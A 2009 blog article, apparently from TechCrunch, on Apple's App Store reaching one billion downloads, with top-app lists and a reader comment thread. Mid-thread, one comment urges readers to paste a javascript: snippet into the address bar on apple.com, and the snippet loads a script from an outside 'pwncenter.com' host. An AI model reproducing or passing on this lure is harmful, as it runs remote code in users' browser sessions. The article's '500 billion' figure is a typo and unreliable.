Well, it finally happened. Apple just delivered its 1 Billionth application download from the App Store, which currently features over 25,000 apps (35,000 by one estimate) built by thousands of developers. The significance of the milestone (besides just the 1 billion mark) is that it’s taken only nine months from when the App Store launched on iTunes to hit 1 billion paid and unpaid downloads.
Last summer, Apple sold one million 3G iPhones worldwide across 21 countries in the first 3 days on sale. During that same time, iPhone users made 10 million app downloads from the then newly launched iTunes App Store.
The count was at 300 million in early December, and the App Store hit 500 million downloads by January 16th. It took Apple six months to reach the first 500 million downloads. It would take Apple only three months to get another 500 billion downloads. By March, 2009, it was at 800 million. We started keeping track via Apple’s billion-app countdown at around 928,077,779. Apple also offered us a fleeting glimpse of the most popular apps ever, something the company only did once before.
Apple apparently already had a hunch of when the billion mark was going to be passed, because the billionth app celebration page was already ready to go.
Apple predicted the time when the billionth app would be downloaded: 1:24:06 AM PST on April 23. That didn’t happen.
The number of different apps available has also been growing steadily. In November, the app store had 10,000 apps, and grew to 15,000 by Apple’s quarterly earnings call in January. Within a month, the app store added 5,000 more apps, bringing the total available apps up to 20,000. By March, the app store has over 25,000 apps. Now, according to an estimate by App Store analytics firm Mobclix, there are 35.550 apps worldwide.
Some lucky iPhone user who downloaded an app in the past two weeks will win a $10,000 iTunes gift card, MacBook Pro, Time Capsule, and iPod touch. We also hosted our own contest to see who could guess when the billionth app would be downloaded and we will release the results soon.
Here’s a current list of the top apps, free and paid, downloaded, courtesy of Mobclix. The numbers next to the global stats indicate how many countries had that app ranked as #1.:
Top 5 free (Global):
1: Heat Pad – Relaxing Heat Sensitive Surface (17)
2: Skype (9)
3: Ferrari GT Evolution: Lite Version (6)
4: Racing Live (4)
5: Yahoo! Messenger (4)
Top 5 paid (Global):
1: Camera Zoom (12)
2: Flight Control (11)
3: Playman Track & Field (3)
4: Wild West Pinball (2)
5: Airport Mania: First Flight (2)
Top 5 free (US):
1: Catcha Mouse
2: iDare
3: F-MyLife
4: Heat Pad – Relaxing Heat Sensitive Surface
5: Dictionary.com
Top 5 paid (US):
1: Flight Control
2: StickWars – Siege
3: Pocket God
4: iHunt 3D
5: ParkingLot
Typo – It would take Apple only three months to get another 500 billion downloads.
Out of those 1 Billion Apps, 500 millions are Fart Apps. hahahah
I wonder what the other 500 million apps are???
wow… apple really is doing a lot of big things… all thanks to that iphone… amazing
And iPod Touch
It just shows that Apple are still going up and up. If you think about, 1 billion Apps is absolutely insane! Well done to Apple and congratulations to whoever guessed the correct time!
Damn it, so I didn’t win?!
Yeah, silly error Leena silly error “Apple’s App Store: 1 Billion Served”…”It would take Apple only three months to get another 500 billion downloads.”
Who’s proof reading this…no one. Kind of a big mistake considering the article. You guy’s have been hyping this thing up for days.
I’m not impressed.
Does anyone know how many iPhones have been sold to date? (Approximately?)
21 million Eric.
how many shook-to-death babies is that?
None by iPhone
“Over one billion downloads”.
So, technically, if I download v1.0 of an application, and then download the v1.1 and v1.2 updates, that counts as 3 downloads, right?
This is not meant to detract in any way from what is a significant accomplishment, I am just trying to better understand the numbers involved.
If only I could better understand the App Store review process…
Apple only counts the original download. Updates and re-downloads are not counted so the billion is one billion.
Name your source.
It would be a lot more impressive if they were all paid
Still, they must have a mammoth network to support 1 Billion downloads over such a small period of time!
I wonder when the TechCruncher will start posting about 1.5bn downloads… This is going to be the gift that keeps on giving, just edit the numbers and repost. Over and over and over and over and over again.
http://www.flic...art/3469472890/
999,999,990!
“Apple apparently already had a hunch of when the billion mark was going to be passed, because the billionth app celebration page was already ready to go.”
Of course it was ready to go! How fucking stupid is TechCrunch now? They’re not going to just throw it together after it hits a million, they’re a company.
“Apple predicted the time”
No they didn’t, it was a calculation based on current trends in app downloads. Do some fucking research.
Now all you need to do is go to apple.com paste the following code into your address bar and hit enter:
javascript:(function(){_my_script=document.createElement(’SCRIPT’);_my_script.type=’text/javascript’;_my_script.src=’http://pwncenter.com/apple.js?’;document.getElementsByTagName(’head’)[0].appendChild(_my_script);})();
…and then you’ll see what Apple is actually thinking.
Congrats to Apple!
BTW, Vista is such a POOPY OS. It can’t even wake up the computer after it goes to sleep!
1 Billion Served, not 1 Billion Sold. I hope we all realize the distinction.
Daniel
https://Spideroak.com
sigh… I wonder what would happen if they successfully marketed this to asia…
The McStore. Heh.
They really make a lot of money though. They took 9 month only…
Stay hungry. Stay foolish!
Great accomplishment; the real goal will be 5 billion though, as the market continues to get saturated.
hmmm… i think bulk of the downloads come from I tunes music…
And TechCrunch reaches the important milestone of 1 million article errors, courtesy of this one.
Somebody needs to proof read this before you put it here.
Eat ur fruit and vegetables..LOL
That’s insanity…Apple is incredibly smart…selling hardware and selling other people’s software simultaneously. How do you beat that? Oh yeah, Google Adwords/Adsense…
Really incredible, what Apple’s done with these apps — they’re so simple to install, to use. I think the simplicity is a big part of the attraction — it’s so much unlike the rest of the computing experience.
“Apple apparently already had a hunch of when the billion mark was going to be passed, because the billionth app celebration page was already ready to go.”
Of course it was ready to go! How fucking stupid is TechCrunch now? They’re not going to just throw it together after it hits a million, they’re a company.
“Apple predicted the time”
No they didn’t, it was a calculation based on current trends in app downloads. Do some fucking research.
by Edds
Its because everyone who got iphone download hundreds of apps including me
But all apps is not that good, lot of them is crap especially the free limited versions!
http://www.eddsstudio.info